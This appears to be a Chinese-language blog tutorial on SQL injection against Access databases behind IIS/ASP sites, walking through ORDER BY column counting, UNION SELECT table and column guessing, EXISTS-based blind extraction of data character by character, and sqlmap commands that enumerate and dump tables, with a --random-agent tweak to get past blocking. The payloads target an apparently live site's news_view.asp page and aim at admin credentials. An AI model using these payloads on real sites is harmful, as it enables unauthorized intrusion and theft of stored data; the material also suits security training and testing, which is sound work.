Access数据库注入

Access数据库
0X00简介
常见搭配为:windows+IIS+asp+access
 
Access 数据库由七种对象组成,它们是表、查询、窗体、报表、宏、页和模块。 
 
clipboard.png


Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
  表名
    列名
      数据
没有库这个概念 只有表这个概念
0X01注入方法
一:union(兼容性较差,较少运用)
 
1.猜字段(数据库项目的数量或者说长度)
 
order by 16
 
网页正确显示则猜解正确
 
这里的16就是说数据库列的项数目为16个,如果改为17就会发生报错
 
由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析
 
(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)
 
2.然后猜表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin(这里admin是最普通的
 
站长用户名 页面正常则存在admin,不正常则不存在 )
此网页表名为city

QQ截图2.png


 如图示说明在39的位置有项目存在数据内容,更改并猜测
3.猜列名
?id=-119 union select 1,2,id,4,5,6,7,8,city,10,11,12,13,14,15,16 from city
 

QQ截图1.png



这里把3改为id 再把9为city 没有出错证明这两个字段都是存在 不存在的话同上 不存在字段常用的列名 user pass username password admin )
 
二:exists
 
1.获取表名:and exists(select*from city) //若页面显示正常,则存在city表
 
页面显示正常则查表正确
 
2.查列:and exists(select 列名 from city)
 
页面显示正常则查表正确
 
3.查内容:
and (select top 1 len(列名) from 表名)=5 获取指定列名的内容长度
 
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第一位内容
 
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第二位内容
 
0X02sqlmap 
1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)

4.png

 
执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。

5.png

 上图中为使用默认字典跑出来的表名。
2、sqlmap -u "url" -T "表名" --columns 猜字段名  (表名为第一步跑出来的表名)

6.png

 在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。
 3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段

7.png

 下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径
 
8.png

这里直接用burp

9.png

 
一路回车

10.png

 使用sqlmap爆破列名
sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns 凉了
换成sqlmap.py -u "http://www..com/news_view.asp?id=119" -T "city" --columns --random-agent
 
11.png


12.png


13.png

 

0 个评论

要回复文章请先登录注册